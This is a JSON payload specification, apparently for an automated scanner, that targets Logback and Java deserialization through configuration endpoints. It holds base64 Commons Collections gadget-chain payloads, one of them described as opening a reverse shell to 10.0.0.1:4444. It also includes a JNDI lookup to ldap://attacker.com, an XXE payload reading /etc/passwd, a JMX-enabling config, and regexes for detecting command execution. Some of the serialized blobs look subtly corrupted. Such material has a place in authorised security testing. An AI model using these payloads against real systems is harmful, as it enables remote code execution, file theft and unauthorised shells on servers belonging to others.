1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
| {
"attack_vectors": [
{
"protocol": "HTTP",
"interface_type": "web",
"injection_points": ["/api/logger/config", "/admin/logging", "/config/logback", "/services/logging", "/management/logback", "/actuator/logback", "/logback/configure", "/logging/settings", "/system/logconfig", "/app/logback"]
},
{
"protocol": "HTTP",
"interface_type": "web",
"injection_points": ["config", "configuration", "logConfig", "logbackConfig", "xmlConfig", "serializedConfig", "data", "payload", "object", "serializedObject"]
},
{
"protocol": "HTTP",
"interface_type": "web",
"injection_points": ["Content-Type: application/xml", "Content-Type: application/java-serialized-object", "Accept: application/xml", "X-Config-Type: serialized"]
}
],
"payloads": [
{
"name": "ysoserial_commons_collections",
"raw": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAK29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwNObxBB8CAAFMAAZtYXBLZXl0ABJMamF2YS9sYW5nL09iamVjdDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b9ycy5JbnZva2VyVHJhbnNmb3JtZXKX3OAdyTcWAwABWwADaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5Y3BbsTgIAAHhwAAAAAnQAA2Zvb3QABGJhcnNxAH4ABnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHcEAAAAAnQACGNhbGMuZXhldAAEZXhlY3VxAH4ADHh4",
"placement": "body",
"encoding": "base64",
"notes": "Base64 encoded Java serialized object using Commons Collections gadget chain to execute 'calc.exe'"
},
{
"name": "logback_xml_external_entity",
"raw": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n <insertFromJNDI env-entry-name=\"ldap://attacker.com:1389/Exploit\" />\n</configuration>",
"placement": "body",
"encoding": "raw",
"notes": "Logback XML configuration with malicious JNDI lookup"
},
{
"name": "logback_xml_xxe",
"raw": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration [\n <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<configuration>\n <appender name=\"FILE\" class=\"ch.qos.logback.core.FileAppender\">\n <file>&xxe;</file>\n </appender>\n</configuration>",
"placement": "body",
"encoding": "raw",
"notes": "Logback XML configuration with XXE to read local files"
},
{
"name": "serialized_rmi_payload",
"raw": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAK29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwNObxBB8CAAFMAAZtYXBLZXl0ABJMamF2YS9sYW5nL09iamVjdDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcpfc4B3JNxYDAABbAANpQXJnc3QAElsqTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5Y3BbsTgIAAHhwAAAAAnQAA2Zvb3QABGJhcnNxAH4ABnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHcEAAAAAnQACW5jIDEwLjAuMC4xIDQ0NDR0AARleGVjdXEAfAAMeHg=",
"placement": "body",
"encoding": "base64",
"notes": "Serialized payload attempting reverse shell connection to 10.0.0.1:4444"
},
{
"name": "malicious_logback_config",
"raw": "<configuration>\n <appender name=\"FILE\" class=\"ch.qos.logback.core.FileAppender\">\n <file>/tmp/malicious.txt</file>\n <encoder>\n <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>\n </encoder>\n </appender>\n <root level=\"debug\">\n <appender-ref ref=\"FILE\" />\n </root>\n <jmxConfigurator />\n</configuration>",
"placement": "body",
"encoding": "raw",
"notes": "Logback configuration enabling JMX configurator for potential RCE"
}
],
"detectors": [
{
"pattern": "response_body",
"value": "java\\.lang\\.Runtime|ProcessBuilder|getRuntime\\(\\)\\.exec|cmd\\.exe|/bin/sh",
"hint": "Detects command execution patterns in response"
},
{
"pattern": "response_code",
"value": "500|200",
"hint": "Unexpected success or error codes during deserialization attempts"
},
{
"pattern": "response_time",
"value": ">5000",
"hint": "Significant delay indicating potential command execution"
},
{
"pattern": "response_header",
"value": "java\\.io\\.InvalidClassException|java\\.io\\.StreamCorruptedException|java\\.lang\\.ClassNotFoundException",
"hint": "Java deserialization error messages"
},
{
"pattern": "outbound_connection",
"value": "10\\.0\\.0\\.1:4444|attacker\\.com:1389",
"hint": "Detects outbound connections to test servers"
},
{
"pattern": "file_creation",
"value": "/tmp/malicious\\.txt|/etc/passwd",
"hint": "Detects file system interactions"
}
],
"risk_notes": "HIGH RISK: Logback deserialization vulnerabilities can lead to remote code execution. Test endpoints accepting XML configurations or serialized Java objects. Focus on administrative interfaces, logging endpoints, and configuration management APIs. Use serialized payloads targeting Commons Collections, JNDI lookups, and XXE attacks. Monitor for outbound connections, file system changes, and command execution indicators. Test with both authenticated and unauthenticated requests. Consider rate limiting and test during off-peak hours to avoid service disruption."
}
|
